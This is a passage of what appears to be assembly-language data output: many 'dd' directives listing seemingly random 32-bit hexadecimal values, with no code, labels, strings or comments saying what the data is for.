5E397E6Ah, 794C3FB1h, 147F9023h, 4E49FBCDh dd 0C54CE697h, 0B767D3Bh, 53843D75h, 66E6C48h, 47E4D036h dd 0CCA1F384h, 0BE36930Ah, 883AD8FBh, 19D853DFh, 3425899Dh dd 8141E309h, 6087A184h, 0E5E84D80h, 29754A23h, 3595F4A6h dd 185D31Bh, 15534205h, 9E7C6B4h, 7F972BFFh, 2D4FE3AFh dd 204BEE99h, 7171A25Eh, 5B48C3C6h, 69F55994h, 98AA22Dh dd 667BC1DDh, 897B8E43h, 588A2A3Ah, 0C19726C5h, 3D29FAF1h dd 0DA1A2D35h, 4788E453h, 300DB337h, 6EFA029Bh, 0A98CA84Ch dd 9BE9AFFAh, 3B5CDCECh, 2835628Ch, 909C3F0Ch, 7851D37h dd 9FCACBD7h, 0B9585367h, 479D47BDh, 0D4BC6F82h, 0EBABE9A1h dd 611A3BD0h, 5588959Fh, 2FB636AFh, 2811395Dh, 53259F1Ah dd 75FEFC99h, 81E863Ch, 6E016C76h, 411868EFh, 0EF8D0DBFh dd 0FB621D07h, 4D5F2ABDh, 0F202D962h, 0B1DDD04Fh, 28A396A6h dd 3A63AAEEh, 82428691h, 0D8B42353h, 0E371172Bh, 55AC515Ah dd 6F17EC94h, 0D3B7CC85h, 82CB248Fh, 942779B6h, 0AA4F866Ah dd 0A5804E75h, 328B906Ah, 7F356269h, 0EB43A8B3h, 85DA6890h dd 62E2B424h, 96A8C7E7h, 6B66DE84h, 6B3D2154h, 8834DE40h dd 2B4B5300h, 0F8F20B8Dh, 0DC89B84Ch, 2CEB4A52h, 13DD10E7h dd 32BDB8AEh, 0BBD43C95h, 0EE37B63Bh, 0DE919C32h, 130CEAEEh dd 0B728CA93h, 0FE992FC6h, 0B25438CAh, 2CC74D91h, 82B7B635h dd 266A6CE8h, 0BBE0FB8Bh, 2F6BB130h, 7E9D655h, 248089ECh dd 67B1B26Dh, 0E04C5412h, 1F7DBFACh, 3568ADC3h, 3789831Eh dd 0FF77D640h, 1955D050h, 0D95C35BEh, 39E686B5h, 4A8C638h dd 7C5B1BD6h, 562DFB34h, 6D9182F9h, 2F9FBCCBh, 0BE3030BFh dd 308A5C4Ah, 0DFDAB3DCh, 412C7C63h, 0C5D94B1Ch, 1EFB9DE4h dd 0A5796782h, 17C5E144h, 8C4E401Ah, 0BE422CEFh, 0AA54D8Dh dd 7C8D7D47h, 807A4CF4h, 0AFE32B61h, 0ADE70E95h, 0A1D971F8h dd 0F9AF7471h, 92C43BD5h, 8EF46035h, 395CCEB2h, 87A9B8AEh dd 8D7EE3CCh, 0B78C0D59h, 0B4A7AEC4h, 0C49A353Eh, 0D73E9B0Fh dd 80C729C8h, 99614D84h, 77A65691h, 7522B647h, 5D56D480h dd 3C6F5D10h, 4FB65724h, 0C2B4152Bh, 28E4B4EBh, 0BA63C23Ch dd 0B05471BBh, 31CA4D1Fh, 5437FEA9h, 0B16B472Dh, 33B9304Bh dd 54F3D98Ch, 40CA17EEh, 669805E9h, 0B5AD4C16h, 90C56873h dd 53BEE16Fh, 7476C572h, 0B659C456h, 53763A3Ch, 50C3B4CCh dd 14120834h, 68A620Ch, 564D5E78h, 7AB4522Ch, 0F6E0E039h dd 84D68B15h, 8DBC7B11h, 60BDA3F9h, 0FD3466D4h, 3F136C14h dd 0E43EAE42h, 7303CE38h, 9ECFB1h, 0CFD3295Fh, 0A035178Ah dd 330417DEh, 0D7ED218Fh, 69C1FC57h, 0EE5451A3h, 0FB8309D6h dd 85C13548h, 7BE66854h, 14C8E0B8h, 1369C8ACh, 0A8ADDE71h dd 0DF117BBBh, 3221460Dh, 0B815C069h, 24FDC8E0h, 1423E32Ch dd 0BAD84FB8h, 316B5E1Bh, 6A8F5C34h, 52B68FDBh, 0E9F066E7h dd 2641B4A9h, 6DD5C632h, 8F3B32FAh, 57A6F21Eh, 58DAFD01h dd 314977F1h, 51F48E1h, 24A18D45h, 0CA59F681h, 37A8F969h dd 8C2315E2h, 8F2B1EFCh, 0CCFE1271h, 0C84E6571h, 0B3FF9A84h dd 29107EC5h, 910ECCE2h, 290F19AAh, 36DAACE0h, 4A8DDE38h dd 0A73CCCEAh, 7107164Eh, 5370E7Fh, 68809C9Dh, 0B5EF87BAh dd 0A024B4AFh, 3C193815h, 90B16DB2h, 4E3C104Fh, 0A09A1DBDh dd 0D9C29E1Fh, 0BC6D49ACh, 0D95D1962h, 0F541CD33h, 0EAD540D3h dd 7379228Ch, 0D2E7CA7h, 651047ABh, 290597D6h, 6AE6DF21h dd 70FEAF9Dh, 5DC2B04Bh, 0DF9B962Ch, 0B1821017h, 78ED8CCBh dd 468BEADh, 210FDB51h, 23ED88AEh, 3516B3DEh, 60BC21CEh dd 6E3F763Dh, 0F8E84AE3h, 31B02F46h, 8BF27248h, 9EA5509Ch dd 24C98972h, 96B711F4h, 0B97AC729h, 779F0705h, 0C7BB3FFh dd 0B05DD2F5h, 0F5DC20F8h, 51F60FDEh, 8F467BD5h, 78791484h dd 0A2814646h, 0F141CCC0h, 76E74AC1h, 497C4F46h, 12D3A646h dd 0BD7EE024h, 0D157AFDCh, 0C50C3B0Fh, 43741812h, 1DAC052Fh dd 9EE6E0Ch, 10BBD11Ch, 0BE7F7CAAh, 330EB148h, 21562C11h dd 0B1B23544h, 0D6DEBD80h, 0E7AE58C4h, 0BD073B97h, 33385E52h dd 45F4FD5h, 0F01D7245h, 4BDD3674h, 898C6C25h, 5B60E102h dd 5976C005h, 207B2E22h, 0F3BFE26Ch, 0B95802EAh, 22743DACh dd 20C7A87Dh, 61E034D2h, 7F3ECD65h, 51371020h, 0C9A8C00h dd 2FEDCD4Ch, 31AE063Dh, 0E0B85A30h, 0F553BB15h, 0E449F38h dd 0AD09694Eh, 0B944E367h, 320CA63Ah, 708A79F4h, 0F64FB68Fh dd 0D2DE3220h, 0D2B67809h, 35421808h, 0E50FE60Ah, 3F6037A2h dd 720EB157h, 6F370D6Bh, 77DBEE5Eh, 63FF4D57h, 32BB2337h dd 2A0DF8DDh, 0FD264A0Ah, 0CAC3F70Dh, 0BE0F4101h, 354EDAB4h dd 1664EC6Ah, 4412D222h, 161C7FFFh, 0B9CA78D7h, 7A3750D3h dd 543A244h, 1CFF53B6h, 0D664678Eh, 3291D8ADh, 463FB39Ah dd 0C04ABF1Bh, 45B8B838h, 0F84F066Ch, 4D359E8Fh, 1B945016h dd 0F249F316h, 13C1DD9Fh, 96BB3365h, 4A40891h, 0B8C9B594h dd 0A3ECFA6Ah, 0F0998CC9h, 7278513Fh, 0DB03ADB6h, 0E12E079Dh dd 0DF2DE3A7h, 68EDFF32h, 0EB326F27h, 554AE692h, 0FF6A6645h dd 0E37CC90Dh, 3D15335Ah, 0B1394E92h, 2998C9CEh, 0ABF0D39Ah dd 45D7F28Fh, 0AB398C6Eh, 0F433FF4Eh, 0A803F0B2h, 0C0FF0065h dd 0A7CF15A1h, 795ED610h, 70FB042h, 2A43AF3Ch, 0BBB74073h dd 65D80911h, 783A8DFDh, 0D966CFE6h, 6CA8CF43h, 22572DB5h dd 0EAC4408h, 3567C8E6h, 43FE19AFh, 0FD7CF584h, 7FE99F58h dd 5ED7C5A7h, 0D2CA3E2Bh, 0F2CB331Ch, 1BB8FA90h, 326A139Fh dd 261DD708h, 89774DF7h, 5D4C00C2h, 85B900CAh, 1F851CD1h dd 55E0F083h, 0AE1ABC73h, 7DF53430h, 4811B17Ah, 4C87B8C4h dd 0BBDA5124h, 8C6F85B5h, 56459B4Bh, 0B6C7A6A2h, 0CB1AC321h dd 731527C3h, 74BD1AD7h, 53BC3F9Ch, 0B97908F4h, 0C3172996h dd 32F3A986h, 7127760Dh, 4DD25CB4h, 11A32AABh, 5C6920EBh dd 5CE1C7E2h, 0EA615845h, 5EA8633Bh, 69B23C17h, 142163E9h dd 3EE088B8h, 0E7557DF2h, 0E288C359h, 53A14CBBh, 484B863Dh dd 0DA002401h, 6E327395h, 648150FBh, 9BB6217Ah, 62C69D2Bh dd 389B70E4h, 5D0E4737h, 0F43EC5CEh, 325E0540h, 6F1112B3h dd 782833B3h, 0DDF095D3h, 0EDCD947Fh, 98AA641Bh, 761761B2h dd 8C8D1B4Dh, 87B11133h, 98B4825Dh, 4CD595BBh, 142CE4E9h dd 8764EDB0h, 1E7D272Fh dd 383C5639h, 0F88AE4Dh, 0E367E2E0h, 75D4BD90h, 91C6E5BAh dd 8517F275h, 1F6C3EC1h, 0F710C565h, 0B3A86D9h, 81D52236h dd 0CBC06ED1h, 1FCE7298h, 7B0E338Ch, 42CED0Bh, 40023793h dd 0E279FD94h, 0ACD72A75h, 0A4C18E58h, 32E0174Dh, 8AD712EAh dd 9A1E12EAh, 0C061AACEh, 4B290039h, 43675EE9h, 0FBD1406Dh dd 0AD30ACFh, 0B12F3375h, 0BA464332h, 7651F5h, 332A8534h dd 359F1BCFh, 3FCD43D3h, 5A43341Eh, 0BF847174h, 9237916Ch dd 6BE34002h, 22B99A81h, 78F87BF2h, 0E66C8DBEh, 0ADD15F41h dd 0A106DB9Eh, 80015B8Ah, 8F0D8EACh, 8AE166CEh, 256A0CAFh dd 84BEA25Fh, 0E2F05277h, 24A57D0h, 0CCE77064h, 0ABB4564Ch dd 4527D32Bh, 1F0D752Ch, 0B62C45DEh, 0FDF1544Eh, 93742E91h dd 550FE299h, 89DB2FCh, 0A7BBC0DCh, 756880C4h, 1A14B524h dd 90F26892h, 172A67D5h, 48EEE8B5h, 0BA7BA479h, 72241E0Fh dd 5888BCCh, 1746DA78h, 0F9404976h, 115294F3h, 2B12623Bh dd 39E540D9h, 0D703FF1Bh, 0E49E65DEh, 57CE5D3Dh, 68DE4078h dd 0B7116213h, 4D9B3A13h, 0AA31BAB7h, 46298811h, 0A94612FBh dd 0F31D27ADh, 0D0728B19h, 621B7F17h, 41AB05F2h, 0CFD61978h dd 0B6DBAF4Ah, 9A88EF2Ch, 0AE64E343h, 0F113AE4Eh, 0B1F524B3h dd 56B48B70h, 5B7FB63Eh, 8C56266Dh, 0E24ADA74h, 18E23B3h dd 0CD9FE8E6h, 27A45790h, 34B5A29Dh, 3D552B91h, 0E6869B7Ah dd 6E45D930h, 0F5070090h, 9BF0D9BBh, 0C5F56B25h, 4E6F5626h dd 6048FF18h, 87F779A5h, 2F5C9EC9h, 5B7EAE37h, 9B8702AFh dd 0F28B4E2h, 7037A06Eh, 0EF1099C9h, 77F94D8h, 4A6DA009h dd 3E90F86Bh, 6B84A2EEh, 912E8F3Bh, 32852E14h, 3959B7E1h dd 11AD2ECh, 0D7F6BD8Ch, 4D9C2FE2h, 2EE01241h, 0E39239D8h dd 62ECC6CEh, 416D6C5Ch, 0B376F41Dh, 4A7365BCh, 0E3F25101h dd 8B917F4Fh, 6286DBB9h, 0EFD4FFBCh, 54512A12h, 0D4222BFFh dd 0BEDDD18Fh, 360B1E4Fh, 13DA4CD3h, 52CE9730h, 0C0ED1D92h dd 4837B10h, 9C827C2Ch, 0C83CBEC2h, 0F0C2A116h, 0A1336299h dd 345B5479h, 46F1121Bh, 368B2588h, 115CF1B5h, 0C67FAEA9h dd 4C0AECBBh, 8AFA6889h, 0B882649Fh, 7826AB23h, 0A24216A6h dd 8D3D579Fh, 10E091Dh, 0D69517CCh, 7FE2F03Eh, 0F5D4B463h dd 334DD3A8h, 5753F265h, 8CF784E4h, 8F6EBC53h, 0D809F0B3h dd 2F5376BFh, 0CD48FEC5h, 49A541CFh, 7CA462Bh, 0A8CD33E5h dd 0C7EB3755h, 56D00FAAh, 0BA212818h, 0C1863335h, 38BDFF24h dd 8E9B8A99h, 846E7A11h, 0A5BAABF8h, 22F895D5h, 4C352CC1h dd 38CA98DEh, 3635E7F5h, 0AFB9E7CDh, 0ADF89E9Ah, 0A836A2B3h dd 94DCC295h, 0F2F58F9h, 52809D4Dh, 12E1AE22h, 0D1167B8h dd 17FBE589h, 0D7B43777h, 0C32ADC7Eh, 0FCD5622Ah, 6081EB28h dd 4E6A148Bh, 0E238CD73h, 2DFBD5C2h, 3454C4A8h, 0C03379D0h dd 0FF7EDF73h, 0E6DBC691h, 0C15B1248h, 5470AB2Bh, 0AFDB3153h dd 167B37EFh, 6D6EA352h, 4F208D6Bh, 0E4DDC1EFh, 1C5E040Ch dd 580766EDh, 9A62529Ch, 7BD808F9h, 54BD666Eh, 0F275D8B2h dd 0C9FED808h, 0E66E3074h, 40CA1CAFh, 0B7FAA41Fh, 7421581Bh dd 8C32A860h, 6F70DC2Ah, 0CCDC822Bh, 8F9C047Bh, 7BEBD305h dd 0AE7CD0h, 7EE06B21h, 2A9FAF5Fh, 0BA0894h, 0DFF34622h dd 0A4FD6A40h, 8D5125C8h, 55BD42C7h, 0D132AF5h, 5FEE326Bh dd 3D35CA93h, 0EEEC7F69h, 0C034FEA3h, 8BBCF503h, 0C1664AC0h dd 0FB90EA19h, 868A35DEh, 99FCD942h, 0F8710CF9h, 7670E1B4h dd 0CED25134h, 37C5E2B4h, 4E4605h, 0EA8FCACFh, 0D076699Bh dd 8BAAA6F6h, 16AEE56Dh, 692756D0h, 0E8144B6Ch, 8AAB7628h dd 0A0A6B74Ah, 6E1E4AD7h, 0C7EBE0C5h, 4C7EE506h, 6F33CD3Eh dd 85D9133Bh, 2ADE9E0Fh, 0B0FFD2CCh, 6031C519h, 0CCC2B8ECh dd 3496CA29h, 3C0D21CAh, 43C0BB96h, 7BD34EF0h, 86370D41h dd 29E3C07Ch, 8BA3CD71h, 432541F1h, 703CFCF7h, 35DA2EFDh dd 0D9881C6Ch, 639129D4h, 66C6137Ch, 0F577573Ch, 4D493D36h dd 3B2CE71Dh, 0B6B19A98h, 0E1BE61AAh, 40E81D78h, 3CC9154Ch dd 3233ACADh, 8BDCB13h, 0B4DCB080h, 2AB9DE87h, 0F025F556h dd 70643DA7h, 0B2598335h, 7E0607C0h, 18ABB8D0h, 0F96FF7Ch dd 6950B626h, 65D533B1h, 16D6CF37h, 33159ADFh, 0AF393DABh dd 65CD190Eh, 0C69EE9D8h, 3E6433E2h, 1B0C3280h, 57A61DD3h dd 2ED3AEBCh, 3984E6ADh, 0B64ED4FCh, 7B35DD14h, 41EF5757h dd 0D33077C7h, 5C5C160Ch, 2DE10209h, 59C0375Ah, 0FB12F64Eh dd 819987A7h, 1E502B66h, 6FC9A09Bh, 0EE2366A4h, 0D59D5632h dd 2C94C3F7h, 14AD1267h, 4F809590h, 619C8595h, 0AABAA01Dh dd 0DD534EB7h, 64DC90Ah, 0F3821F2Dh, 5D42CA1Eh, 0A3028637h dd 0A4A39E4Bh, 1AF98C4Eh, 0E5955293h, 318507D7h, 0CAB285ABh dd 0C5A68D14h, 92369991h, 69841D0Dh, 898C9E45h, 28B4BF06h dd 2275E002h, 0E3E271E1h, 6C902345h, 5802ACACh, 0B2478CAFh dd 1AE4F095h, 0C57AC9F1h, 38EF9E33h, 6160D82Ch, 5942D437h dd 45760D67h, 2F9F0016h, 1DC127A6h, 97058A8h, 2348049h dd 0FFA1AD7Fh, 0DBC9DB34h, 55FDCDD5h, 9C08EEB4h, 7E5C021h dd 690E5707h, 0FAC4DED2h, 0DC4DE801h, 16AE49Dh, 8903728Dh dd 7C1358ADh, 8D55340Eh, 89BC733h, 53CEDCCBh, 77752836h dd 9CE8116Bh, 0E9ED60B2h, 35C1283Ah, 77420AC6h, 0BCB62788h dd 0E4ED83C2h, 0DD0798EAh, 6A8D39C7h, 5EDFCD9h, 96258234h dd 87523250h, 0B42E6A97h, 0F2EEA4A4h, 0F6602D97h, 5AC4B334h dd 8361EF54h, 0C90E067Fh, 0EFE31063h, 22276038h, 90481684h dd 5BF73F6Bh, 50AFCEE2h, 8B09E398h, 0A8CB04EBh, 11DD0BC1h dd 4147EACBh, 63CCDA5Dh, 8CF56042h, 0B4318DDCh, 0F4F47E9h dd 24F1AACFh, 2A75CBC9h, 232356A2h, 671B2924h, 0AD3D5292h dd 1F0F53C6h, 7187FB56h, 9F23A928h, 0C384FA03h, 15FC5CDBh dd 4B41C844h, 0A80EB51Dh, 23CF8F80h, 1FD77FDBh, 99E85C3Dh dd 0C0A2A58Ah, 4DDB4744h, 2AD48C38h, 16ACC113h, 21A3F465h dd 0D997050Dh, 46C6F2Fh, 4DBF41F8h, 0A366887Fh, 0F6BCAE77h dd 8771A37h, 0F9D21A44h, 0C06D2BA0h, 4CCB7376h, 0E54CE4A3h dd 0C597C15Fh, 1CD04EA7h, 0CA9FD299h, 5049055Ch, 8CFD17A8h dd 3379C23h, 0E8BB2600h, 9449CC13h, 32994872h, 29EC8960h dd 187FEBCBh, 7CDB5A13h, 0E9229EA9h, 80F36CBCh, 7B5CEEDBh dd 0F22A081Eh, 9B867B76h, 14A0DB9Bh, 0F5393C4Ch, 38066BD4h dd 4C3D4991h, 8BFF2013h, 4BEE8356h, 9BE3262Ch, 9543287Dh dd 0AF93C766h, 2B09579Fh, 70D820D5h, 7D33730Fh, 540CD801h dd 632E5C7Dh, 3E2EF7EBh, 0DFBE4CFBh, 0B0231A29h, 42816C38h dd 0B255C93h, 45CEFB13h, 67C4BAB3h, 0D191F12Bh, 0AEC53A89h dd 9EF7125Dh, 6957A572h, 9041759Dh, 2BB5ACF5h, 5784E951h dd 590457E2h, 0A511E3F3h, 76C2A4D4h, 0FE6170B7h, 684288A7h dd 97FF3A8Bh, 4D61C6CDh, 9FA7E880h, 4E2B053h, 0EE187CD1h dd 4907FF66h, 26B34882h, 4E0F1E4Dh, 0D5388B16h, 4E3EB51Eh dd 355B8743h, 9BBAD862h, 73F57A22h, 86E45A8Fh, 0F8FFC91Eh dd 5C406CE6h, 0C713125Ch, 0C5D3041Dh, 47CB5FB2h, 23C4495Dh dd 1E760C20h, 801326AAh, 0ECEA3080h, 0DD5D4171h, 0D87460F7h dd 4886EFFEh, 80C9D94Dh, 6D99D65Eh, 1D2D7C86h, 7BB45F21h dd 656C9755h, 6F9D7646h dd 66259DD1h, 7729CC15h, 1E011BF6h, 72C367CDh, 51E5A84Ah dd 72D4B5E3h, 572400C3h, 0AACB8A01h, 7EC18B99h, 0F1E5B214h dd 0DBB00FA9h, 7F739CFh, 66ED3E7h, 0E138C72Ch, 846F50C7h dd 7F05D941h, 0CE35AA8Fh, 0C2008D1Ch, 34E0B235h, 6ACFB04h dd 0ACC3488h, 44A2DF78h, 0A2968CE9h, 0BBD53A78h, 6DA44CC9h dd 493C96BFh, 0DE427966h, 12EDA3A1h, 23A7DE47h, 0E8DE7BA6h dd 28DEC00Ah, 39800D3Ah, 0B99CDBFCh, 0E5B7960h, 0BDDF9E5Ch dd 17CA41C4h, 9377ED1Eh, 32049A39h, 0F65ADCBBh, 766ACE9Eh dd 0EBB98A33h, 0A132F0E3h, 384F0BDBh, 49C28A4Ch, 5CC35B9Dh dd 66A749D2h, 9DBAE5DCh, 31FC1865h, 49C731EAh, 0C3D725B7h dd 31F27577h, 0D37C2E19h, 81AFB7B9h, 0EB451FFDh, 79770164h dd 0C61BCAEAh, 534B489Fh, 47AAE2CCh, 2E09DF90h, 0C12B2485h dd 2750F5A1h, 45E5B6F7h, 2833836Ch, 56941AD4h, 0C40EE7E7h dd 0F8ABBB6Fh, 22465A3Dh, 5DDA7276h, 3060486Bh, 16449725h dd 95F7A253h, 976CE5Dh, 50030Eh, 0D947CFEAh, 2FE07F24h dd 0DCEE394Fh, 3FF7CDD4h, 3995275h, 17F67636h, 2F380D98h dd 437C60EBh, 91256F56h, 91ED78BCh, 0D591D0B2h, 0D5E02D2Ah dd 0F79626F3h, 2DF63577h, 0C38588F7h, 8EE0B611h, 0E6949DD9h dd 5D923DCDh, 0FC4A30EBh, 3497DCE2h, 1AC4086Eh, 0A9396B77h dd 0A91D73C3h, 0E8D6602h, 0B44EFF9h, 0D7044486h, 0E081826Ch dd 0D64DBC4Dh, 0D918DC34h, 20759A53h, 44CF2B12h, 0F3775B35h dd 0F7CB831Dh, 0E94991EDh, 4DE2C26Dh, 9270ED5Bh, 0AF72E013h dd 6057BBFFh, 3AB57FD8h, 5D145148h, 0E4DBFEFh, 60C74FC4h dd 0C6B18A56h, 0F3BAA9F1h, 0A50343Ah, 0B1E029E9h, 6C0897Ch dd 9CF4CEB8h, 7FDFA65h, 0A6AB2FF2h, 788B226Eh, 3D6919BBh dd 0E9BBA004h, 385183CBh, 0EB69276Eh, 0B252854Fh, 0C354A262h dd 0FBBF909Dh, 0DEA07B8Dh, 2E19BA6Bh, 570D5B41h, 7806E0FEh dd 0B463E2B2h, 3473CF5Fh, 3FCBE0EAh, 3CBF9310h, 0D86567A5h dd 0AEDCCB88h, 9CCCE3ABh, 0A839D789h, 5EA3AB51h, 876EE2CDh dd 723BFA0Ah, 0CF1E752Bh, 3F60CAD1h, 13DDBE32h, 1604A0CFh dd 7BFF9CAAh, 0FC43314Fh, 0ABD8E620h, 0BAF27375h, 78CEE50Eh dd 7D8996CDh, 0D261E87h, 51B48B99h, 0FFDB62CCh, 0E6DA11C9h dd 560F7B33h, 3205916Fh, 0A676583Ah, 0D13E3D80h, 0FA489787h dd 5DDC58E4h, 0BED0723Eh, 0F277B09Fh, 6DE07E61h, 27127C45h dd 0D4645033h, 0CC81E694h, 0A3E368Eh, 0D53455B7h, 0F7F7BAC3h dd 956B4439h, 0C3AB4C18h, 0D00282F5h, 0FCE6CF58h, 5C338B6Fh dd 7B66BC2Ah, 5799A0D5h, 0CF8783CFh, 2A1959E6h, 3CDA2923h dd 0C68C0C6Ah, 0D55C11E2h, 5B330588h, 0DA734FAEh, 2A6350DDh dd 7F2E6D58h, 0A7ADD914h, 62AA9986h, 1D337E29h, 291581CFh dd 0B2491469h, 0E36E0C1Eh, 0F4A5BA7h, 0AE3F7DBAh, 0FACEC8AAh dd 9BDA7984h, 526AAC8h, 57FC10DBh, 4640D0Eh, 9F6EF616h dd 2D4189F9h, 0E95392B8h, 0F851F4D8h, 0B5B06291h, 2336777h dd 0E7E28819h, 74606C10h, 4481A90h, 4D40EB9Ah, 7EE792A1h dd 0D3FC21F1h, 0E3566FEEh, 9D0931C4h, 12EC377Ah, 4AF61635h dd 58726CC6h, 433E0FC9h, 0E9F32343h, 0FB5B8CF9h, 300ADE6Eh dd 39C3FA3h, 4EA6DE53h, 0E7457FEAh, 4EC578D2h, 2B76ECBDh dd 44A6DAD6h, 3DF7D19h, 565281EDh, 2DA4DC3Fh, 76B4F0Fh dd 2D179A0Dh, 0BDAC45FDh, 0A0EE5A63h, 974EA15Dh, 0D48586AEh dd 6A6C4C77h, 3A8176h, 758BD5D2h, 39A9D2F3h, 2F3F379Ah dd 0B78F000Fh, 613D845Bh, 0D1EC9E7Bh, 52C8B89h, 2AA8B404h dd 4DFBBDF7h, 0A88AE532h, 35B67222h, 0E50603C5h, 0E70C7FFBh dd 343F3628h, 5EA8F199h, 0B02D948Bh, 0E13BCCA6h, 3CED350h dd 0B04F040Ch, 0B49D06E8h, 342A00BCh, 7568C524h, 30666FE4h dd 0B48D90C9h, 0FBCE15CAh, 0DD163888h, 267DB933h, 6C29E87Dh dd 0B554CA41h, 26B73D8Ch, 91E8F9BCh, 0B5BBD553h, 9D88C234h dd 0F1AFC6E1h, 0BA208769h, 56E866F7h, 144D1Bh, 0F4D37D81h dd 0B1120F21h, 0B3A8D823h, 0D638AC2Ch, 0E48E829h, 7F8181B8h dd 0B8524CE9h, 0FC4F83F3h, 30EA0CD1h, 0E12FB4Eh, 0F9185626h dd 0B365C62Fh, 36BC435Ah, 0B3F572B3h, 66580B96h, 0B124F4B8h dd 80B0E172h, 4BB3D8D9h, 92B17EF0h, 0AA4D8092h, 2DB6786Ah dd 7029EDF1h, 44EE5C4Eh, 676D5295h, 0EBAF7167h, 118D8A7Ch dd 0DBB61F39h, 0E8BF9B40h, 94702416h, 3F2E7CC0h, 85928B50h dd 9A05D8ACh, 28B19DB8h, 8997278h, 77415AE5h, 337536B6h dd 0A1EBF4E4h, 79B53BB0h, 0A40E8B94h, 0AD39782h, 24958A02h dd 0CFE7B1E1h, 0EED5B244h, 14ECAC19h, 120A4BFFh, 2B283C3Eh dd 52A213C6h, 0D29B821Bh, 9012C6FBh, 6E27673Ch, 0D22D02D3h dd 0FFC2B5F7h, 65EC2A0h, 0F5B9183Ch, 2A25AD4Bh, 19E86613h dd 58712D6Fh, 7F540519h, 0E669B1FFh, 0B7005D91h, 0CE663424h dd 0C55114A3h, 0EC21297Eh, 0E8E9EFE4h, 0D6AF93DAh, 0BBE266CEh dd 4AB3B73Fh, 0C236F86Eh, 60FE6F3Eh, 91767935h, 0C188431Ah dd 75400120h, 495E2FC9h, 0C811226Ch, 0A8138048h, 0A056D266h dd 25C72952h, 0D1BE2964h, 0AF35AB42h, 1554A420h, 9B422D09h dd 8B0E490Eh, 2A036E38h, 28AA0202h, 0A640FDB2h, 308934A1h dd 7741CD6Ah, 0E1F82AD4h, 1562850Bh, 0A73380BDh, 744A7C4Eh dd 7E7B7319h, 1F170988h, 46D5A992h, 0C9A81CB7h, 83FB46ADh dd 8A16B000h, 3C05533Eh, 0FFCC4EA6h, 3F7DF2C2h, 8BBCA44Bh dd 31BB5F12h, 1CF3BFC2h, 0A75E04CFh, 397D8520h, 0DC704617h dd 0C3B227E4h, 0E618E128h, 99647EFCh, 0E42583CEh, 0C34EDEEBh dd 7D3EA6DEh, 0B69B9B19h, 0EB0BD1B9h, 0D39D054Bh, 3CC1CC18h dd 0B72D1173h, 3A550A7Eh, 0F664672Bh, 77B45158h, 341F860Bh dd 5817B04Ah, 0D5D3C05Fh, 4428CAEDh, 7D9F6E17h, 0F893423Fh dd 49608D78h, 90A28889h, 0D3EB8EE6h, 0DED263A8h, 1CA80E01h dd 0ED401903h, 0FE5F23B8h, 0AAC1D6B4h, 92B3A0E2h, 0E10D111h dd 7301F353h, 4ACAFFEAh, 0EDE53A32h, 0A69223E5h, 0EF39B0F6h dd 0B23B42C5h, 66D80396h, 74D8379Bh, 795DC4A1h, 0AEEF3541h dd 0B47D34DCh, 0BF04D4E7h, 0CBA32A69h, 334D01h, 0FA7320BEh dd 0B484D709h, 0A32EA1F9h, 0A497E5D9h, 7F84BEAEh, 5794B6AFh dd 577DA450h, 65E1B421h, 7C7D0A1h, 84A8428Eh, 6CC7030Bh dd 8C2B6F8Ch, 0AD2CC3E0h, 0F35B960Dh, 77DDB8E5h, 0AD044C21h dd 961EA23Fh, 0D77A5CA0h, 1C8555BCh, 0CDA2B860h, 0C788083Ah dd 3954F293h, 848987A7h, 340E1BA4h, 237D17DFh, 0E4A891F3h dd 0B77357ACh, 0D51F31DFh, 0ED48A498h, 0D8FE56B2h, 2DA52FA9h dd 0D977CEh, 104D594Eh, 0AF1DF8C3h, 6589F90Dh, 0A8A57A8Ch dd 34200B1Ch, 78B0427Dh, 86231118h, 9F64988Ah, 9A45B024h dd 9090240Bh, 0B72B9961h, 6A2CCC38h, 6A4F3AEh, 0E81475D6h dd 0C566E3Bh, 0D6CB8E2h, 0FA149232h, 911661C2h, 0E3F51285h dd 5F83F3BBh, 0E0D2A43Dh, 8DC298D6h, 4D2F0869h, 0AA5C175Eh dd 3FEDA1C4h, 26098C06h, 0EE508CDFh, 8FC51F82h, 612FEF6Dh dd 69A76CE4h, 363FEC58h, 0BD1BEB5h, 2352463h, 0D95B74E7h dd 5B516938h, 61B28372h, 0F0B39838h, 80D74E2h, 0F90FE067h dd 0E17F2CEBh, 9FCE2B91h, 0F4E0E0E8h, 0D43DCB4Bh, 0BEFCDF76h dd 1DF95C92h, 55BF52D4h, 0CC29390Dh, 0ABD147E4h, 3A597A31h dd 686C47F1h, 0AD4D933h dd 9FBAFB3Fh, 0B210C0AFh, 0C45C8DADh, 0D6C47CF0h, 5F7B5798h dd 9195EA28h, 6547D521h, 922B7B6Dh, 8AE55DEAh, 9EABD9EAh dd 799AC2E0h, 0F909C8B4h, 73C06C5Dh, 0B4BD6294h, 0FD63C0E7h dd 1434867Eh, 4B2E764Bh, 0BA7126BCh, 56DD362Dh, 0EC65B44Eh dd 0D610A284h, 196A7B26h, 3B47731Bh, 2D700B66h, 0C9869B82h dd 58D489CBh, 5B919403h, 852C04FAh, 5028F562h, 6D949ED1h dd 14FBD572h, 1817F3A2h, 0A8D3AFD6h, 77173EDEh, 0E9038FA1h dd 5C50A0AEh, 0A6783B76h, 1577F9F3h, 82122DF1h, 0D320D6DAh dd 6E12F49Bh, 53094476h, 0DAB1D227h, 0BED906B1h, 75D19420h dd 9E96B33h, 3F49AF1Fh, 24FEF1DEh, 0A4496AE5h, 0FF1FE9A5h dd 0B7B2FE6h, 0FCF89F0Ch, 6B6D5AFh, 549F40E4h, 0B543C78h dd 8CEC772Fh, 5959455Ah, 0C228DBA9h, 0EDF3A96Ah, 0B01CFA48h dd 0E8BBD817h, 0DC4AB9AFh, 41DD1851h, 0C9CB14F7h, 0CE0BB4CFh dd 0A32EF603h, 0F8B62C1Bh, 93C2C3C9h, 0B39AD30Ah, 0C3F4312Dh dd 3A0089C6h, 0A77062AFh, 36EA35E5h, 5E216523h, 296FEDC6h dd 5071E0DBh, 0A360D65Eh, 0FCCF7890h, 0C5B08806h, 5C872C14h dd 3614A240h, 8D55E6D5h, 1C3A37E9h, 0D1361F83h, 0C53FD215h dd 7191D745h, 518954D5h, 0FD3BE662h, 0AC806888h, 0F77E355Bh dd 0A57FD74Fh, 82F15805h, 0D1B346Bh, 4B864444h, 16657504h dd 31FBB61Bh, 0DC5BEB9Ah, 0B67DD95Eh, 3BF869D0h, 2D319B35h dd 0F69411EFh, 16823A5Ch, 0EE3B7BADh, 288B6B7Dh, 1B4E4464h dd 4C139AD8h, 0D16D709Eh, 31CA9931h, 47E2655Ah, 0A129DF7Ah dd 0F240BE62h, 692DECC1h, 0D4D7525Ah, 